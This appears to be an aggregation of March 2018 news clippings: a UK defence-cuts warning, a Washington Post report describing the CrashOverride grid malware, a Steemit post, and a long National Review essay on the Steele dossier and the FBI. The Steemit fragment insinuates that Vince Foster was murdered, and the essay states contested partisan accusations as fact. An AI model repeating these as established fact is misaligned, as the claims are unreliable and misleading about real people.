He said defence was short of £2billion a year in funding and if more money was not spent, the Government would be responsible for 'tipping the Armed Forces into institutional failure'
General Sir Richard Barrons, the former commander of Joint Forces Command, was among the ex-chiefs to warn that defence cuts mean the Army is now '20 years out of date' and ready to 'fall over'.
He also warned there are 'existential risks' to the UK that the Armed Forces are unable to deal with.
He said defence was short of £2billion a year in funding and if more money was not spent, the Government would be responsible for 'tipping the Armed Forces into institutional failure'.
General Barrons added the Army lacked air defences, unmanned drones and cyber warfare capabilities.
Lib Dem defence spokesman Sir Menzies Campbell said: 'This scathing criticism from a top former general emphasises the increasingly fragile nature of Britain's defence capabilities. The Government must listen to this stark warning.'
His comments came ahead of next week's budget in which Philip Hammond is expected to ignore calls by former defence secretary Sir Michael Fallon to give more money to the MoD.
An MoD spokesman said of the submarine hunt: 'We play a leading role in Nato and work closely with our allies on security in the North Atlantic. We have robust protection in place for our vessels and are investing £3billion of our rising budget into buying nine new P8 aircraft to patrol the seas.'
An earlier version of this article reported that the National Grid was hacked. The National Grid have since issued the following statement on Twitter: 'Media reports saying National Grid was ''hacked'' this year are incorrect. We have processes in place aligned with industry best practice and assessed by government and regulatory agencies and were not compromised.'
Russia Recycled- has developed a cyberweapon that can disrupt power grids, according to new research - The Washington Post
Sun, 18 Mar 2018 12:44
Hackers allied with the Russian government have devised a cyberweapon that has the potential to be the most disruptive yet against electric systems that Americans depend on for daily life, according to U.S. researchers.
The malware, which researchers have dubbed CrashOverride, is known to have disrupted only one energy system '-- in Ukraine in December. In that incident, the hackers briefly shut down one-fifth of the electric power generated in Kiev.
[Russian hackers suspected in attack that blacked out parts of Ukraine]
But with modifications, it could be deployed against U.S. electric transmission and distribution systems to devastating effect, said Sergio Caltagirone, director of threat intelligence for Dragos, a cybersecurity firm that studied the malware and issued a report Monday.
And Russian government hackers have shown their interest in targeting U.S. energy and other utility systems, researchers said.
''It's the culmination of over a decade of theory and attack scenarios,'' Caltagirone warned. ''It's a game changer.''
The revelation comes as the U.S. government is investigating a wide-ranging, ambitious effort by the Russian government last year to disrupt the U.S. presidential election and influence its outcome. That campaign employed a variety of methods, including hacking hundreds of political and other organizations, and leveraging social media, U.S. officials said.
Dragos has named the group that created the new malware Electrum, and it has determined with high confidence that Electrum used the same computer systems as the hackers who attacked the Ukraine electric grid in 2015. That attack, which left 225,000 customers without power, was carried out by Russian government hackers, other U.S. researchers concluded. U.S. government officials have not officially attributed that attack to the Russian government, but some privately say they concur with the private-sector analysis.
[Russian hackers used 'zero-day' to hack NATO, Ukraine in cyber-spy campaign]
''The same Russian group that targeted U.S. [industrial control] systems in 2014 turned out the lights in Ukraine in 2015,'' said John Hultquist, who analyzed both incidents while at iSight Partners, a cyber-intelligence firm now owned by FireEye, where he is director of intelligence analysis. Hultquist's team had dubbed the group Sandworm.
''We believe that Sandworm is tied in some way to the Russian government '-- whether they're contractors or actual government officials, we're not sure,'' he said. ''We believe they are linked to the security services.''
Sandworm and Electrum may be the same group or two separate groups working within the same organization, but the forensic evidence shows they are related, said Robert M. Lee, chief executive of Dragos.
The Department of Homeland Security, which works with the owners of the nation's critical infrastructure systems, did not respond to a request for comment Sunday.
Energy-sector experts said that the new malware is cause for concern, but that the industry is seeking to develop ways to disrupt attackers who breach their systems.
''U.S. utilities have been enhancing their cybersecurity, but attacker tools like this one pose a very real risk to reliable operation of power systems,'' said Michael J. Assante, who worked at Idaho National Labs and is a former chief security officer of the North American Electric Reliability Corporation, where he oversaw the rollout of industry cybersecurity standards.
CrashOverride is only the second instance of malware specifically tailored to disrupt or destroy industrial control systems. Stuxnet, the worm created by the United States and Israel to disrupt Iran's nuclear capability, was an advanced military-grade weapon designed to affect centrifuges that enrich uranium.
In 2015, the Russians used malware to gain access to the power supply network in western Ukraine, but it was hackers at the keyboards who remotely manipulated the control systems to cause the blackout '-- not the malware itself, Hultquist said.
With CrashOverride, ''what is particularly alarming .'‰.'‰. is that it is all part of a larger framework,'' said Dan Gunter, a senior threat hunter for Dragos.
The malware is like a Swiss Army knife, where you flip open the tool you need and where different tools can be added to achieve different effects, Gunter said.
Theoretically, the malware can be modified to attack different types of industrial control systems, such as water and gas. However, the adversary has not demonstrated that level of sophistication, Lee said.
Still, the attackers probably had experts and resources available not only to develop the framework but also to test it, Gunter said. ''This speaks to a larger effort often associated with nation-state or highly funded team operations.''
[Declassified report says Putin 'ordered' effort to undermine faith in U.S. election and help Trump]
One of the most insidious tools in CrashOverride manipulates the settings on electric power control systems. It scans for critical components that operate circuit breakers and opens the circuit breakers, which stops the flow of electricity. It continues to keep them open even if a grid operator tries to close them, creating a sustained power outage.
The malware also has a ''wiper'' component that erases the software on the computer system that controls the circuit breakers, forcing the grid operator to revert to manual operations, which means driving to the substation to restore power.
With this malware, the attacker can target multiple locations with a ''time bomb'' functionality and set the malware to trigger simultaneously, Lee said. That could create outages in different areas at the same time.
The outages would last a few hours and probably not more than a couple of days, Lee said. That is because the U.S. electric industry has trained its operators to handle disruptions caused by large storms. ''They're used to having to restore power with manual operations,'' he said.
So although the malware is ''a significant leap forward in tradecraft, it's also not a doomsday scenario,'' he said.
The malware samples were first obtained by ESET, a Slovakian research firm, which shared some of them with Dragos. ESET has dubbed the malware Industroyer.
FBI
Acting FBI Director Andrew McCabe Accepted $600,000 'Donation' to Wife's Campaign '-- Steemit
Sat, 17 Mar 2018 11:03
Interesting thing about Trump firing Comey is.. Clinton firing his FBI Director on Tuesday, July 20th 1993. I found some interesting similarities.
And Here Is Trumps Letter
Yes, very interesting.
The fact that Vince Foster was 'suicided' the following day. The highest ranking US official to die while in office after JKF.
Russia Collusion: Hillary Clinton, DNC, & FBI are the Real Stars | National Review
Sat, 17 Mar 2018 11:04
Hillary Clinton at a ''Get Out the Vote'' rally in Concord, N.H., February 6, 2016. (Brian Snyder/Reuters)
In a textbook example of denial and projection, Trump foes in and out of government wove a sinister yarn meant to take him down. B arack Obama keeps a close watch on his emotions. ''I loved Spock,'' he wrote in February 2015 in a presidential statement eulogizing Leonard Nimoy. Growing up in Hawaii, the young man who would later be called ''No-Drama Obama'' felt a special affinity for the Vulcan first officer of the U.S.S. Enterprise. ''Long before being nerdy was cool, there was Leonard Nimoy,'' the eulogy continued. ''Leonard was Spock. Cool, logical, big-eared and level-headed.''
It is the rare occasion when Obama lets his Spock mask slip. But November 2, 2016, was just such a moment. Six days before the presidential election, when addressing the Congressional Black Caucus, he stressed that the Republican candidate, Donald Trump, threatened hard-won achievements of blacks: tolerance, justice, good schools, ending mass incarceration '-- even democracy itself. ''There is one candidate who will advance those things,'' he said, his voice swelling with emotion. ''And there's another candidate whose defining principle, the central theme of his candidacy, is opposition to all that we've done.''
The open display of emotion was new, but the theme of safeguarding his legacy was not. Two months earlier, on July 5, in Charlotte, N.C., Obama delivered his first stump speech for Hillary Clinton. He described his presidency as a leg in a relay race. Hillary Clinton had tried hard to pass affordable health care during Bill Clinton's administration, but she failed '-- and the relay baton fell to the ground. When Obama entered the White House, he picked it up. Now, his leg of the race was coming to an end. ''I'm ready to pass the baton,'' he said. ''And I know that Hillary Clinton is going to take it.''
But he was less certain than he was letting on. Hillary Clinton was up in the polls, to be sure, but she was vulnerable. Three weeks earlier, on June 15, a cyberattacker fashioning himself as Guccifer 2.0 had published a cache of emails stolen from the Democratic National Committee (DNC). They proved, as supporters of Vermont senator Bernie Sanders had long alleged, that the DNC had conspired with the Clinton campaign to undermine their candidate. Sanders was still withholding his endorsement of Clinton for president, even though her nomination as the Democratic candidate was now a foregone conclusion. At the very moment when Clinton had expected the Democratic party to unite behind her, its deepest chasm seemed to be growing wider. In contrast to Clinton, Obama held some sway over the Sanders insurgents. He came to Charlotte to urge them to support Clinton against their shared enemy, the presumptive Republican nominee for president, Donald Trump.
The insurgency was not the only Clinton vulnerability on Obama's mind. He had come to Charlotte, in addition, to deflect attention from the news conference that James Comey, the director of the FBI, had held that morning in Washington, D.C. The investigation into Hillary Clinton's use of a private email server was complete, Comey announced. The FBI would recommend no criminal charges '-- that was the honey. But Comey administered it with a dose of vinegar. He dwelled on Clinton's mishandling of classified material in such detail that it sounded as if he was laying the foundation for an indictment. The decision not to charge Clinton, his statement signaled, was an exercise in prosecutorial restraint, not a true exoneration.
From the perspective of the voters, Clinton's twin email travails '-- the hack of the DNC and the investigation into her server '-- were two faces of a single problem. Call it ''Clinton, Inc.'' Sanders and Trump were painting Clinton as Wall Street's darling, the establishment candidate. She was the greatest defender and a prime beneficiary of a rigged political and financial system. Comey's statement had played directly into the hands of the Sanders insurgents. It left the distinct impression that laws are for the little people; they simply don't apply to Hillary Clinton, because, well, she's Hillary Clinton.
Which points to Obama's third and final job at Charlotte: humanizing the queen. ''I saw how she treated everybody with respect, even the folks who aren't, quote/unquote, 'important,''' Obama testified. He enlarged Clinton's humility before the crowd, because it was invisible to the naked eye. With his jacket and tie off, the cuffs of his sleeves turned, and a winning smile spread from ear to ear, Obama came to loan Hillary Clinton his common touch.
Passing the baton to her was a team effort, however. It demanded hard work from countless enablers. These included not just Democrats but also many Republicans, who shared the conviction that Trump represented an extraordinary threat to our democracy. Desperate times call for desperate measures. To block Trump, Clinton's supporters bent rules and broke laws. They went to surprising lengths to strengthen her while framing him '-- both in the sense of depicting him in a particular light and of planting evidence against him.
Joe Friday
When it comes to ongoing FBI criminal investigations, presidents typically refrain from describing their preferred outcomes. They fear the appearance of exerting undue influence over Lady Justice. But in the case of Hillary Clinton's email abuses, Obama made an exception. ''She would never intentionally put America in any kind of jeopardy,'' he remarked in a TV interview in April 2016. She has displayed ''a carelessness in terms of managing emails,'' he allowed. ''But I also think it is important to keep this in perspective.''
Well-intentioned but careless, said the commander in chief, describing Hillary's use of a private email server. Three months later, Comey, in a Vulcan mind-meld with his boss, arrived at an identical conclusion.
Well-intentioned but careless, said the commander in chief. Three months later, the FBI finished its investigation, and James Comey arrived at an identical conclusion. ''Although we did not find clear evidence that Secretary Clinton or her colleagues intended to violate laws governing the handling of classified information,'' he said in his July 5 statement, ''there is evidence that they were extremely careless in their handling of very sensitive, highly classified information.'' Well-intentioned but careless '-- Comey was locked in a Vulcan mind-meld with his boss.
As a political move, highlighting Clinton's intentions was astute. It had a commonsense feel. Americans instinctively take intentions into account when determining guilt. As a strict matter of law, however, it was vapid. The mishandling of classified information falls into the category of a ''non-intent crime.'' It's a type of objective recklessness, like running over a pedestrian while blowing through a red light. Violations of this sort trigger criminal liabilities regardless of the offender's state of mind.
But let's assume that some clever lawyer in the Department of Justice discovered a very learned and superficially compelling rationale for applying Obama's fictive standard of intent. Even so, Hillary Clinton couldn't clear the hurdle. The sheer volume of classified material the FBI recovered from her server constituted proof of intent. ''Fifty-two email chains . . . contain classified information,'' Comey said.
Particularly damning was the form this material took. It is impossible to paste a classified document into an unclassified email accidentally, because the three computer systems (Unclassified, Confidential/Secret, and Top Secret) are physically separate networks, each feeding into an independent hard drive on the user's desk. If a classified document appears in an unclassified email, then someone downloaded it onto a thumb drive and manually uploaded it to the unclassified network '-- an intentional act if ever there was one.
One of Clinton's emails suggests that downloading and uploading material in this fashion was a commonplace activity in her office. In June 2011, a staffer encountered difficulty transmitting a document to her by means of a classified system. An impatient Clinton instructed him to strip the classified markings from the document and send it on as an unclassified email. ''Turn into nonpaper w no identifying heading and send nonsecure,'' Clinton instructed.
On three separate occasions staffers got sloppy and failed to strip the ''nonpapers'' of all markings that betrayed their classified origins. The FBI recovered one email, for example, that contained a ''C'' in parenthesis in the margin '-- an obvious sign that the corresponding paragraph was classified ''Confidential.'' When an agent personally interviewed Clinton, on July 2, he showed her the document and asked whether she understood what the ''C'' meant. For anyone who has ever held a security clearance, ''C's'' in the margins are more ubiquitous than ''C's'' on water faucets '-- and no more baffling. But Clinton played the ditzy grandmother. She had simply assumed, she said, that the ''C'' was marking an item in an alphabetized list.
In the 2,500-year life of the alphabet, this was a first: a list that started with the third letter and contained but a single item. The explanation was laughable, but any sensible answer would have constituted an acknowledgement of malicious intent. Her only out was the ''well-intentioned but careless'' script that Obama had written for her. In other words, she lied to the FBI '-- a felony offense.
Before she ever told this howler, however, Comey had already prepared a draft of his statement exonerating her. The FBI let Hillary Clinton skate.
If Comey had followed the letter of the law, the trail of guilt may have led all the way to Obama himself.
But give Comey his due. If he had followed the letter of the law, the trail of guilt may have led all the way to Obama himself. As Andrew C. McCarthy has demonstrated at National Review Online, Obama used a dummy email account to communicate with Clinton via her private server. Did this make Obama complicit in Clinton's malfeasance? Anyone in Comey's position would have thought twice before moving to prosecute her '-- and not only because the case might have ensnared the president himself. The FBI must enforce the law, but it must also be seen to be enforcing it. As a rule, these two imperatives buttress each other. During the 2016 election, Comey faced extraordinary circumstances. If he had followed the law to the letter, he would have toppled the leading candidate for president and decapitated the Democratic party. Clinton's supporters, more than 50 percent of the electorate, would have erupted in outrage, screaming that a politicized FBI had thrown the election to Donald Trump.
Guarding the bureau's reputation for impartiality is a serious concern. But it is nevertheless a thoroughly political concern. Comey would have us believe that it was a unique moment in his career, the singular entry into the political arena of an otherwise apolitical servant of the law. Truth be told, Comey loves being in the thick of it, but not because he is a partisan brawler. He is not. It is the drama that he relishes '-- the grand stage. His favorite role is that of Joe Friday, the no-nonsense lawman, the guardian of legal processes before the encroachments of dirty politicians.
Joe Friday, however, was a simple detective, a confirmed bachelor, content to live quietly with his mother and his parakeet. And, of course, he was a TV fiction. In real life, humble straight shooters get clobbered with a brick before they ever reach the limelight. In real life, snagging the big part often requires the equivalent of leaving a bloody horsehead in the producer's bed.
McCabe and the Lovers
And it requires a supportive staff. Midyear Exam, the codename for the investigation into Hillary Clinton's emails, relied on a team of men and women with the right stuff '-- a quality that is hard to define but easy to recognize.
The right stuff did not require strong Democratic credentials, but they certainly helped. Andrew McCabe, the deputy director of the FBI, led the team. McCabe was not your FBI gumshoe of old. He spent no time in his younger days chasing bank robbers in Des Moines. He was part of a new breed '-- the post-9/11 FBI leadership, for whom the career fast track was counterterrorism. He came of age at the intersection of law enforcement with national security, shuttling between D.C. and New York. Along the way, he developed a valuable personal network. His wife, Jill, ran as a Democrat for a Virginia state-senate seat in 2015. The political organization of Virginia governor Terry McAuliffe, one of Hillary Clinton's very closest associates, gave her nearly $500,000.
Perhaps more important than having Democratic credentials was having a heightened understanding of the needs of senior leadership '-- in the FBI, certainly, but also in the DOJ. Right across the street from the J. Edgar Hoover Building sat Attorney General Loretta Lynch. She would be scrutinizing Midyear Exam in every detail. And not just Lynch. Hillary Clinton herself would be watching closely '-- and would be brought in for questioning, too. Being willing and able to treat her with kid gloves was essential. She ''might be our next president,'' team member Lisa Page reminded Peter Strzok, the agent in charge of Midyear Exam. Referring to Clinton's upcoming FBI interview, Page wrote, ''The last thing you need us going in there loaded for bear.''
Like McCabe, Strzok had pursued a career at the nexus of law enforcement and counterterrorism. But he was less overtly political. A John Kasich sympathizer, he was by nature a middle-of-the-roader, and a Republican-leaning one, at that. Clinton left him cold. But Trump left him even colder '-- and his active personal life helped concentrate his mind on that antipathy. Strzok was having an affair with Page, who was an FBI lawyer on McCabe's staff. Both were married. Page's politics were typical of highly educated people in D.C.: She detested Trump and his supporters. He is ''a loathsome human being,'' she texted to Strzok, who readily agreed. After Trump captured the nomination, hostility to him quickly became part of their private idiom.
If ''the ultimate aphrodisiac,'' as Henry Kissinger famously claimed, is power, then wielding it together with an illicit lover must be the pinnacle of eroticism. Together, Strzok and Page explored the power of secrets, routinely leaking to the press to shape political outcomes. ''Still on the phone with Devlin,'' Page texted to Strzok, referring to former Wall Street Journal national-security reporter Devlin Barrett. Big news about the Hillary Clinton email story was breaking when Devlin and Page were on the phone together. ''You might wanna tell Devlin he should turn on CNN, there's news on,'' Strzok texted back.
Page: He knows. He just got handed a note.
Strzok: Ha. He asking about it now?
Page: Yeah. It was pretty funny.
Influencing the nation's politics was routine. And ridiculously easy: one quick call to ''Devlin,'' and boom! The world changed.
McCabe and the two lovers demonstrated the very essence of the right stuff: a breezy comfort with bending the law to the demands of politics.
Deploying secrets for political effect '-- deciding which to keep, which to tell, and how to tell them '-- was a task that they approached with alacrity. The ultimate goal, of course, was not propping up Hillary Clinton so much as maximizing the power and autonomy of the FBI. In pursuing this goal, McCabe and the two lovers demonstrated the very essence of the right stuff: a breezy comfort with bending the law to the demands of politics.
They honed their skills on Midyear Exam. As that test ended, an even bigger one loomed before them. At the end of July, Comey and McCabe would officially open an investigation into Russian meddling in the election, including possible coordination between Russia and the Trump campaign. On July 5, the day of Comey's press conference on Clinton's emails, a former British spy, Christopher Steele, flew to Rome to meet an old FBI contact. The information he brought had weighty implications for the impending investigation. But neither the information nor the implications are what we have been led to believe.
The Super Spy
Steele '-- a former British spy and a Russia expert '-- was working on contract to Fusion GPS, a Washington-based public-relations firm, which, in turn, was on contract to a D.C. law firm, which, in turn, was on contract to the Hillary Clinton campaign and the DNC. Steele, that is to say, was working for Hillary Clinton. His job, among other things, was to collect opposition research on Trump from his network of Russian sources.
When Steele arrived in Rome, his famous ''dossier'' did not exist. The dossier, as we have come to know it, is some 17 reports that he compiled between June and December 2016. In early July, Steele had been working on the Clinton account for only a few weeks and had written but one report, dated June 20. It claimed that Trump was Vladimir Putin's Manchurian candidate. ''[The] Russian regime has been cultivating, supporting, and assisting Trump for at least 5 years,'' Steele reported. Putin's goal was ''to sow discord and disunity both within the US itself, but more especially within the Transatlantic alliance.'' The Russian leader supported Trump, mainly, by supplying ''valuable intelligence on his opponents, including Democratic presidential candidate Hillary Clinton.''
Putin had offered lucrative financial contracts, but Trump had turned them down. The wily Russian, however, had managed to get his hooks into Trump due to the American's ''sexual perversion.'' During a visit to Moscow in 2013, Trump had hired prostitutes to stay with him in the same hotel suite used by the Obamas on one of their trips. The FSB, Russia's secret police, had fitted the room with cameras and recording equipment. Trump had the prostitutes defile Obama's bed by putting on a ''golden shower'' performance for him. All of it was caught on tape.
Earthshaking news: Vladimir Putin was blackmailing Donald J. Trump. No doubt, Steele's FBI handler rushed this report to his superiors in Washington, D.C. They, in turn, raced it straight to Obama's desk. Sorry, wrong. According to the New York Times, Steele's explosive revelations wound their way to the J. Edgar Hoover Building only slowly. It took weeks before they appeared in Strzok's in-box. Why?
Mike Morell, the former deputy director of the CIA, helps explain the delay. Morell did some digging into Christopher Steele's dossier and shared the results of his research at a public forum in Washington, D.C., in March 2017. Steele, according to Morell, did not have direct access to the Russians whom he labeled as his ''sources'' '-- people who included former officers in the FSB. He ''communicated'' with them, if that is the right word, through paid intermediaries, who paid the so-called sources.
The chances of Steele having been played were thus great. Morell explained it like this:
If you're paying somebody, particularly former FSB officers, they are going to tell you truth and innuendo and rumor, and they're going to call you up and say, ''Hey, let's have another meeting, I have more information for you,'' because they want to get paid some more.
This process, Morell said, ''takes you nowhere.''
Steele's report was, in a word, junk. And Morell, the man who expressed that opinion, was not just a seasoned intelligence professional; he was also a staunch supporter of Hillary Clinton for president. Nor did Steele's FBI handler in Rome set off an alarm in Washington, because he, presumably, was also a seasoned professional who knew junk when he saw it. And he had many additional reasons to doubt the veracity of Steele's reporting '-- reasons that Morell refrained from broaching. How, for example, could Steele be sure that the former FSB officers in his network were fully retired? The convoluted pipeline between Moscow and London gave Russian intelligence too many opportunities to inject disinformation into the flow of reports to London.
And let's not neglect the glaring issue of plausibility. When in the history of the rivalry between the West and Russia has it been possible for a British spy to call up sources in Moscow and gain immediate access to the deepest secrets of the Kremlin? Steele, relying only on his wits, unearthed gems the likes of which glittered only in the dreams of the CIA, Mossad, and MI6, the greatest intelligence-gathering organizations on earth. To believe that tale, we must assume that Steele, like James Bond, is no ordinary secret agent. He's a super spy.
Then there's the little matter of Steele's personal bias. According to one well-informed associate, Steele was ''passionate about'' preventing Trump from winning the election. His financial incentives, of course, oriented him in exactly the same direction. He was a paid piper '-- and he got paid only for collecting information detrimental to Trump. Isn't it possible '-- likely, even '-- that his shadowy paymasters in the demimonde of the Clinton campaign were calling the tune?
Steele's reports certainly harmonized beautifully with the campaign's propaganda. On June 2, in a speech in San Diego, Hillary Clinton unveiled her main line of attack on Donald Trump's foreign policy. His ideas, she said, were ''dangerously incoherent.'' In fact, they weren't ''even really ideas '-- just a series of bizarre rants, personal feuds, and outright lies.'' Particularly mystifying was his attitude toward the Russian dictator: ''He said if he were grading Vladimir Putin as a leader, he'd give him an A. . . . I'll leave it to the psychiatrists to explain his affection for tyrants.''
But the demimonde wasn't about to leave it to mental-health professionals. It hired instead a British super spy. He immediately explained that Putin was extorting Trump. Two weeks after that, he flew to Rome to share his explanation with the FBI. By the time he left Rome, his handler might not have guessed that the Clinton campaign was funding the spy's work. The political nature of Steele's mission, however, would have been obvious.
In Rome on July 5, the FBI was beginning to acquire a new secret. But it was not the one contained in Steele's report. The Clinton campaign, the FBI would soon learn with certainty, was intent on framing Trump as Putin's puppet. That secret was truly explosive '-- and perhaps thrilling for the two lovers on McCabe's staff. In time, all of them '--Strzok, Page, McCabe, and Comey '-- would all mishandle it, damaging their careers irreparably. In July, however, they were not yet in a rush to ruination. The team with the right stuff cautiously watched and waited. Not until September would they take their fateful missteps.
Hillary Clinton greets supporters at the Democratic National Convention in Philadelphia, Pa., July 28, 2016.The Birth of the Collusion Thesis
On July 22, WikiLeaks released the largest cache of DNC emails. The plan behind the hack now became clear: to sabotage the Democratic National Convention, which opened in Philadelphia on July 25. While Clinton was organizing a celebration of Democratic unity, Guccifer 2.0 was working to flood the convention floor with enraged Bernie Sanders insurgents. In the event, Clinton managed to prevent the protests from ruining the convention. But they did damage her theater of power '-- and they also handed Trump a fresh opportunity to broadcast his ''Crooked Hillary'' theme. He took obvious delight in the rage of the Sanders followers. ''An analysis showed that Bernie Sanders would have won the Democratic nomination if it were not for the Super Delegates,'' Trump tweeted on the eve of the convention.
The statement hit Clinton like an iron bar to her kneecap. The thought that a malevolent foreign actor was helping Trump deliver the blow only increased the pain. Most observers assumed that Russian state-backed hackers stood behind Guccifer 2.0 (an assumption that has grown stronger with time). If Trump felt sheepish about benefiting from such people, he hid it well. ''I will tell you this, Russia. If you're listening, I hope you're able to find the 30,000 emails that are missing,'' he said on July 27, referring to Hillary Clinton's messages that the FBI never recovered during its investigation of her private server.
In the eyes of his supporters, Trump's appeal to Putin was a stage whisper, a mock gesture '-- and a pointed dig at Clinton. In her rush to hide emails from the FBI, Trump implied, she had delivered them up to Putin on a platter. But his brand of humor was lost on Clinton and her team. To them, the appeal to Putin was sinister. ''I just think that's beyond the pale,'' said Clinton loyalist and former CIA director Leon Panetta. To shame Trump before the voters, the campaign shifted its rhetoric perceptibly. In June, Clinton had depicted Trump's attitude toward Putin as irrational. Now the two were said to be in a partnership '-- a ''bromance'' was how John Podesta, Clinton's campaign chairman, described it. ''This has to be the first time that a major presidential candidate has actively encouraged a foreign power to conduct espionage against his political opponent,'' said senior Clinton policy aide Jake Sullivan. ''This has gone from being a matter of curiosity, and a matter of politics, to being a national-security issue.''
Shaming was all well and good, but it only resonated among committed voters. Winning the election required convincing independents that Trump was more than just a passive beneficiary of the DNC hack; he had to be an accomplice. Clinton's campaign thus posted five questions on its website:
1. What's behind Trump's fascination with Vladimir Putin?
2. Why does Trump surround himself with advisers with links to the Kremlin?
3. Why do Trump's foreign policy ideas read like a Putin wish list?
4. Do Trump's still-secret tax returns show ties to Russian oligarchs?
5. Why is Trump encouraging Russia to interfere in our election?
Each question was followed by a short answer, leading to the inevitable conclusion that Trump was actively conspiring with Putin.
And so, the collusion thesis was born. The website did not spell out the details of the conspiracy, but the campaign's demimonde left nothing to the imagination. Christopher Steele had discovered Russian ''sources'' who painted a vivid picture of the plot. Putin had decided against releasing the compromising videos of Trump. The Manchurian candidate was proving just too beneficial to Russia. In fact, a full-blown alliance had formed between Putin and Trump. Based on their ''mutual interest in defeating . . . Hillary Clinton,'' they struck a grand bargain: Putin would help elect Trump, who would deliver a supine American policy on Ukraine and NATO defense.
The super spy's network was remarkable. His Russian sources were as close to Trump as they were to Putin. ''An ethnic Russian close associate'' of Trump's ''admitted that there was a well-developed conspiracy'' between him and the Russians. Another source revealed more: The DNC hack was carried out ''with the full knowledge and support of Trump and senior members of his campaign team.'' There it was: the proof the Clinton campaign needed. The great crime against Hillary Clinton was a joint Russian-American operation, and Trump was in on it from the beginning.
Steele's startling discoveries hardly stopped there. But before revealing more, let's pause and consider the purpose of his reports. How, precisely, did his direct employer, Fusion GPS, use them?
The Super Duo
To hear Glenn Simpson tell it, his company, Fusion GPS, is a research organization. ''What we do is provide people with factual information,'' he told the Senate Judiciary Committee in August 2017. ''Our specialty is public record information.'' In truth, Simpson's true specialty is not research but persuasion '-- more specifically, persuasion of reporters. He has a talent for convincing journalists to publish stories, true or not, that benefit his clients. In short, he is a public-relations flack.
But Simpson is no ordinary PR man; he's a super flack. In the first decade of this century, he was in his early forties and working as an investigative journalist for the Wall Street Journal. He was reaching the pinnacle of his profession just as the Internet was gutting the print media. Simpson, however, had a marketable talent. ''I call it journalism for rent,'' he said at a public forum in August 2017. Journalism as we once knew might be dead, but deep-pocketed clients still needed to get stories into the press. And they needed to block other stories from being published. Simpson knew almost every member of the Washington press corps personally, and he understood the constraints under which they worked '-- what it took to get a story past an editor. He handed them canned articles. They got scoops; he got happy clients.
When pitching stories on Trump-Putin collusion, Simpson eventually discovered the great benefit of placing Christopher Steele directly in front of reporters. In September and October, he would fly the spy from London to the United States so the two of them could brief major media outlets as a team. Before that, in July and August, Simpson did not have the benefit of Steele's physical presence. But neither was he alone. He still had the super spy's reports '-- James Bond in a briefcase.
Con men stoke the greed of their marks by letting them catch glimpses of suitcases bulging with cash. Simpson gave his marks a sense that he was similarly loaded '-- but with valuable information, not money. ''In September 2016, Steele and I met in Washington and discussed the information now known as the 'dossier,' '' wrote Jonathan Winer, in the Washington Post. A former U.S. deputy assistant secretary of state, Winer admitted passing Steele's information to his superiors. ''I was allowed to review, but not to keep, a copy of these reports to enable me to alert the State Department,'' he explained. Simpson, we infer, would let journalists catch a glimpse of the super spy's ''raw intelligence.'' Then he would quickly take the document back '-- because, you understand, it was just too sensitive to leave lying around.
If journalists feared that Steele's startling reports (such as, for example, the one about the golden shower) contained Russian disinformation, Simpson had a well-rehearsed spiel at the ready to reassure them. He inadvertently shared it before the House Intelligence Committee in November 2017. Steele, Simpson explained, had a ''standard presentation'' for journalists to explain how he avoided falling prey to the diabolical Russians. Sliding into the first person, he rattled off Steele's lines:
I was the lead Russianist at Ml6 in the final years of my career. And I was previously stationed in Moscow. And I speak Russian. And I've done Russian intelligence/counterintelligence issues all my life. And the central problem when you're a Russian intelligence expert is disinformation, and that the Russians have . . . a long history and an advanced capability in disinformation. And so . . . before we go any further, I just want you to know that . . . this is . . . the fundamental problem with my profession. And it should be assumed that in any sort of intelligence gathering . . . there will be some disinformation. And I'm trained to spot that and filter it out, but . . . you should understand that . . . no one's perfect.
Simpson staked the credibility of the dossier on just one thing: Steele's super awesomeness.
Simpson then switched to the first-person plural. Perhaps, when briefing journalists, this was the point at which he would speak, in his own voice, as the leader of the talented and experienced team at Fusion GPS:
And so we've essentially filtered out everything that we think is disinformation, and we're not going to present that to you here. We're going to present to you things that we think come from credible sources, but we're not going to warrant [sic] to you . . . that this is all true.
Simpson staked the credibility of the dossier on just one thing: Steele's super awesomeness. On his own, Simpson would have been flacking salacious rumor, but paired with Steele, he was briefing ''credible intelligence.'' Together, they became a super duo.
The purpose of the dossier would change over time. In July and August, the goal was not to get Steele's reports directly into the press. Nobody knew better than Simpson, a highly experienced reporter, that Steele's claims were unverifiable and, therefore, unprintable. The best he could achieve was an article that reinforced the main suppositions of the collusion thesis '-- an article such as ''Trump and Putin: A Love Story,'' which David Remnick, the editor of The New Yorker, wrote and published in early August. ''Putin,'' sees in Trump a grand opportunity,'' Remnick explained. ''He sees in Trump weakness and ignorance, a confused mind. He has every hope of exploiting him.''
Remnick stopped just short of claiming that Putin was actually blackmailing Trump, but his depiction of their relations matched, in general, the story that emerged from Steele's reports. Remnick took pains, for example, to instruct readers:
The gathering of kompromat '-- compromising material '-- is a familiar tactic in Putin's arsenal. For years, the Russian intelligence services have filmed political enemies in stages of sexual and/or narcotic indulgence, and have distributed the grainy images online.
Did Remnick personally rely on a Fusion GPS briefing? We do not know. Jane Mayer, a staff writer for the New Yorker, recently confessed that she received a briefing, in September, directly from super spy himself '-- so the potential for communication certainly existed. Regardless of what inspired Remnick, his approach represented a win for Simpson. If, with the help of the dossier or any other tool of persuasion, he could convince journalists that Putin was blackmailing Trump with compromising videos, then it was just that much easier to convince them to report stories about, say, the danger to the Western alliance that Trump represented '-- a story that would require nothing more than stringing together a few quotes from Trump with a few ominous warnings from foreign-policy experts. The dossier, in short, helped Simpson sell a master narrative.
A Diabolical Mastermind
By choosing to convince voters that Trump was somehow an accomplice to the DNC hack, the Clinton campaign had set itself a difficult challenge: defining the role of Putin's American partners in crime. After all, the hack did not require the assistance of a Tom Cruise character. No one broke into DNC headquarters, crawled through a ventilator shaft, rappelled from a cable, and slid a disk into a hard drive. The hackers carried out the operation unilaterally, electronically, and probably from offshore. They required no accomplices on American soil.
Steele solved this problem by finding ''sources'' who revealed that the crucial contributions of Trump's team came in the planning stages. As it turns out, Steele reported, the idea to hack the DNC actually originated from the American side. It was Trump's team that defined the objective of the operation: ''leaking the DNC e-mails to Wikileaks during the Democratic Convention'' in order ''to swing supporters of Bernie Sanders away from Hillary Clinton and across to Trump.''
This report solved half of the Clinton campaign's problem: It established Trump's guilt. But a conspiracy can't grab the popular imagination if it is devoid of actual conspirators. Here again, the super spy's ''sources'' came to the rescue. On the day-to-day level, the job of managing the Trump-Putin collusion fell to Paul Manafort, who, at that time, was still Trump's campaign manager. But Manafort was not the architect of the DNC hack. Fortunately, the super spy was running a mole who was able to identify that criminal genius. The plot, Steele reported, ''was conceived and promoted by Trump's foreign policy adviser Carter Page.''
